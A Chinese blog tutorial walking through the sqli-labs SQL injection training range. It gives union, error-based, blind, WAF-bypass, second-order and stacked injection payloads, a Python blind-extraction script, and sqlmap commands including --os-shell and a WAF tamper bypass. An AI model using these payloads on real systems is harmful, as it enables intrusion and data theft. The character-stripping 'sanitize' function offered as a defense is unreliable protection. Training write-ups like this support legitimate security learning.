当前位置: 首页 > article >正文

SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结

SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结

sqli-labs下载地址:
https://download.csdn.net/download/m0_53073183/90294459
sqli-labs通关手册:
https://download.csdn.net/download/m0_53073183/90424370

引言

SQL注入(SQL Injection)是Web安全领域的经典漏洞类型,长期占据OWASP Top 10榜单。对于想要入门渗透测试的学习者而言,sqli-labs是一个绝佳的实战靶场。本文将从环境搭建、基础注入原理到高阶技巧,手把手带你通关全部75+关卡,并分享独家解题思路!


一、环境搭建与准备工作

1.1 基础环境配置
  • 工具包:PHPStudy(Apache+MySQL)、Burp Suite、SQLMap、HackBar
  • 靶场下载:sqli-labs GitHub仓库
  • 配置关键点:
    /* 修改数据库密码 */
    ALTER USER 'root'@'localhost' IDENTIFIED BY 'root';
    FLUSH PRIVILEGES;
    
    若遇到关卡加载失败,检查php.ini是否开启allow_url_include模块
1.2 学习路线规划
  • 新手村:Less1-20(基础GET/POST注入)
  • 进阶区:Less21-45(Cookie注入、二次注入)
  • 高手营:Less46-65(盲注、堆叠注入)
  • 地狱模式:Less66+(WAF绕过、编码绕过)

二、核心注入类型通关解析

2.1 基础联合查询(Less1-4)

典型Payload

?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

技巧

  • 使用order by判断列数
  • null替代非回显位减少报错
  • 巧用limit逐条提取数据
2.2 报错注入(Less5-6)

关键函数

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

注意点

  • 数据截断问题:使用substr()分段获取
  • 避免特殊字符:使用hex()编码
2.3 布尔盲注(Less8-10)

自动化脚本示例

import requests

url = "http://localhost/Less-8/"
result = ""
for i in range(1,50):
    for char in "abcdefghijklmnopqrstuvwxyz":
        payload = f"?id=1' and substr(database(),{i},1)='{char}'--+"
        if "You are in" in requests.get(url+payload).text:
            result += char
            print(result)
            break
2.4 时间盲注(Less15)

特征判断

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

工具推荐

  • SQLMap的--technique=T参数
  • 自定义延时判断脚本

三、高阶突破技巧

3.1 绕过WAF(Less25-26a)

经典绕过方式

/* 大小写混淆 */
?id=1' UniOn SeLeCt 1,2,3--+

/* 双重URL编码 */
%252f%252a*/UNION%252f%252a*/SELECT 1,2,3--+

/* 注释符污染 */
id=1'/*!UNION*/+/*!SELECT*/1,2,3--+
3.2 二次注入(Less24)

攻击流程

  1. 注册恶意用户名:admin'#
  2. 密码修改时触发:
    UPDATE users SET password='new_pass' WHERE username='admin'#' 
    
3.3 堆叠注入(Less38)

利用场景

?id=1';create table hacked(data varchar(100));--+

四、自动化工具实战

4.1 SQLMap高效用法
# 基础检测
sqlmap -u "http://localhost/Less-1/?id=1" --risk=3 --level=5

# 直接获取Shell
sqlmap -u [URL] --os-shell

# 绕过CloudFlare WAF
sqlmap -u [URL] --tamper=between,randomcase --delay=2
4.2 Burp Suite辅助测试
  • Intruder爆破数据库名
    设置Payload类型为Brute forcer,字符集选a-f,0-9
  • Decoder模块快速编码
    对Payload进行多重URL编码

五、防御方案建议

通过靶场练习后,需理解修复方案:

  1. 预编译语句(PHP示例):
    $stmt = $conn->prepare("SELECT * FROM users WHERE id=?");
    $stmt->bind_param("i", $id);
    
  2. 严格过滤规则
    def sanitize(input):
        return re.sub(r'[;\"\'()]', '', input)
    
  3. 错误信息屏蔽:关闭PHP的display_errors

结语

sqli-labs的通关只是SQL注入学习的起点,真实环境中的防御机制往往更加复杂。建议:

  1. 每个关卡尝试至少3种不同解法
  2. 阅读MySQL官方文档理解函数特性
  3. 在Hack The Box等平台继续实战

漏洞挖掘的本质是对数据流的极致追踪,祝你在安全之路上越走越远!


附录:速查表

关卡范围注入类型核心函数/技巧
1-4联合查询注入union select、information_schema
5-7报错注入updatexml、extractvalue
8-10布尔盲注length、substr、ascii
15-17时间盲注sleep、if、benchmark
24-26二次注入/WAF绕过注释符混淆、多重编码
38-45堆叠注入分号多语句执行

声明:本文仅用于技术交流,请遵守《网络安全法》相关规定,禁止非法渗透测试!


http://www.kler.cn/a/560841.html

相关文章:

  • [java基础-JVM篇]1_JVM自动内存管理
  • js中的await与async的使用
  • 永洪科技旗下BI产品,成功入选“金融信创优秀解决方案“
  • redis添加密码
  • JavaAPI(lambda表达式、流式编程)
  • 4-知识图谱的抽取与构建-4_2实体识别与分类
  • CSS实现图片缺角效果
  • 如何查找 UBuntu的 arm版本
  • 大数据AI一体化开发再加速:DataWorks 支持GPU类型资源
  • 基于Springboot医院预约挂号小程序系统【附源码】
  • 2025:人工智能重构人类文明的新纪元
  • 插入排序:一种简单而直观的排序算法
  • 15.2 智能销售顾问系统技术架构解密:构建企业级知识驱动型对话引擎
  • 应对LLM应用中的AI幻觉,如何通过Token对数概率预测LLM的可靠性
  • 【无标题】docker-compose ps 和dokcer ps的区别
  • 23. AI-大语言模型-DeepSeek简介
  • 毕业项目推荐:基于yolov8/yolov5/yolo11的非机动车头盔佩戴检测识别系统(python+卷积神经网络)
  • 网络应用层之HTTP
  • Android Audio实战——音频相关基础概念(附)
  • CentOS的ssh复制文件